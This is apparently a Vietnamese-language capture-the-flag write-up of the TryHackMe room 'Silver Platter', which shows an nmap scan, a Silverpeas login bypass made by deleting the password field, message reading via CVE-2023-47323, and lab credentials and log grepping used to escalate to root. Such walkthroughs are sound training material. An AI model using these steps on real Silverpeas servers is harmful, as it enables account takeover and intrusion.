Bài viết

TryHackMe - Silver Platter

Một room khá thú vị, nơi chúng ta khai thác lỗ hổng đăng nhập trong ứng dụng Silverpeas

TryHackMe - Silver Platter

Giới thiệu

Một room khá thú vị, nơi chúng ta khai thác lỗ hổng đăng nhập trong ứng dụng Silverpeas, sau đó khai thác thêm một CVE khác để lấy user flagroot flag.

Tryhackme Room Link

Bạn nghĩ mình có đủ khả năng để đánh bại đội ngũ Hack Smarter Security không? Họ tuyên bố rằng mình không thể bị đánh bại, và giờ là cơ hội để bạn chứng minh họ đã sai. Hãy xâm nhập web server của họ, tìm những flag bị ẩn và cho cả thế giới thấy kỹ năng hacking đỉnh cao của bạn. Chúc may mắn, và mong rằng hacker giỏi nhất sẽ chiến thắng!

Nhưng hãy cẩn thận, đây sẽ không phải là một cuộc dạo chơi nhẹ nhàng trong thế giới kỹ thuật số. Hack Smarter Security đã gia cố server để chống lại các cuộc tấn công phổ biến, và chính sách mật khẩu của họ yêu cầu sử dụng những mật khẩu chưa từng bị rò rỉ. Họ kiểm tra mật khẩu bằng wordlist rockyou.txt — đó là mức độ “ngầu” của họ. Thử thách đã được đưa ra và đã đến lúc nâng tầm kỹ năng của bạn. Hãy nhớ rằng chỉ những người sáng tạo nhất mới có thể vươn lên dẫn đầu.

Mong rằng mã của bạn luôn nhanh chóng, exploit của bạn không có sai sót và chiến thắng sẽ thuộc về bạn!

Nmap

Hãy bắt đầu bằng việc quét với Nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
nmap -T4 -n -sC -sV -Pn -p- 10.10.200.35
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 1b:1c:87:8a:fe:34:16:c9:f7:82:37:2b:10:8f:8b:f1 (ECDSA)
|_  256 26:6d:17:ed:83:9e:4f:2d:f6:cd:53:17:c8:80:3d:09 (ED25519)
80/tcp   open  http       nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Hack Smarter Security
8080/tcp open  http-proxy
|_http-title: Error
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     Connection: close
|     Content-Length: 74
|     Content-Type: text/html
|     Date: Sun, 16 Feb 2025 20:12:10 GMT
|     <html><head><title>Error</title></head><body>404 - Not Found</body></html>
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Length: 0
|     Connection: close
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 404 Not Found
|     Connection: close
|     Content-Length: 74
|     Content-Type: text/html
|     Date: Sun, 16 Feb 2025 20:12:09 GMT

Từ kết quả Nmap, chúng ta có thể thấy các cổng đang mở:

22/tcp 80/tcp 8080/tcp

Trinh sát

Khi kiểm tra trang liên hệ, chúng ta có thể thấy một tên người dùng tiềm năng và một ứng dụng có tên Silverpeas:

Flag

Tìm kiếm nhanh trên Google sẽ cung cấp cho chúng ta thông tin quan trọng.

Theo mặc định, Silverpeas sử dụng trang đăng nhập tại http://localhost:8080/silverpeas, vì vậy hãy thử truy cập nó.

Chúng ta được chuyển hướng thẳng đến trang đăng nhập:

Flag

Sau khi tìm kiếm nhanh trên Google, chúng ta phát hiện một lỗ hổng có thể tồn tại trên trang đăng nhập:

Flag

Có thể tìm thấy thêm thông tin về lỗ hổng tại https://gist.github.com/ChrisPritchard/4b6d5c70d9329ef116266a6c238dcb2d.

Sau khi tìm kiếm tên người dùng mặc định của Silverpeas, chúng ta phát hiện đó là SilverAdmin.

Flag

Chặn HTTP request bằng Burp Suite

Hãy thử tạo một POST HTTP request bằng Burp Suite.

Request ban đầu:

Flag

Request sau khi xóa trường Password:

Flag

Chúng ta đã đăng nhập với tư cách administrator.

Flag

Sau khi tìm kiếm thêm về các lỗ hổng của Silverpeas, chúng ta tìm thấy https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2023-47323.

Về cơ bản, chúng ta có thể đọc bất kỳ tin nhắn nào tại:

http://localhost:8080/silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=[messageID]

Sau một số lần thử, chúng ta đã tìm thấy một tin nhắn tại ID 6:

Flag

Đăng nhập SSH

Chúng ta có thể sử dụng thông tin đăng nhập này để đăng nhập qua SSH với người dùng tim.

1
2
username: tim
password: cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol

Flag

Và chúng ta có thể lấy được flag:

Flag

Khi kiểm tra các nhóm mà người dùng thuộc về, chúng ta có thể thấy tim là thành viên của nhóm adm:

1
2
tim@silver-platter:~$ id
uid=1001(tim) gid=1001(tim) groups=1001(tim),4(adm)

Sau khi chạy lệnh sau, chúng ta có thể tìm thấy log chứa mật khẩu cơ sở dữ liệu:

1
2
tim@silver-platter:~$ grep -Ri 'password' /var/log 2>/dev/null

1
COMMAND=/usr/bin/docker run --name silverpeas -p 8080:8000 -d -e DB_NAME=Silverpeas -e DB_USER=silverpeas -e DB_PASSWORD=_Zd_zx7N823/ 

Hãy thử kết hợp người dùng với mật khẩu cơ sở dữ liệu:

1
2
3
tim@silver-platter:~$ su tyler
Password: 
tyler@silver-platter:/home/tim$ 

Bây giờ, khi kiểm tra các nhóm mà người dùng thuộc về, chúng ta có nhiều đặc quyền hơn đáng kể:

1
2
tyler@silver-platter:/home/tim$ id
uid=1000(tyler) gid=1000(tyler) groups=1000(tyler),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)

À, không cần phức tạp như vậy, chúng ta đã có quyền sudo:

1
2
3
4
5
6
7
8
9
10
11
tyler@silver-platter:/home/tim$ sudo -l
[sudo] password for tyler: 
Matching Defaults entries for tyler on silver-platter:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User tyler may run the following commands on silver-platter:
    (ALL : ALL) ALL
tyler@silver-platter:/home/tim$ 

Bây giờ, chúng ta chỉ cần chuyển sang tài khoản root bằng sudo:

1
2
tyler@silver-platter:/home/tim$ sudo su root
root@silver-platter:/home/tim# 

Root Flag

Và tìm root flag:

Flag


Bài viết này được cấp phép bởi tác giả theo giấy phép CC BY 4.0 .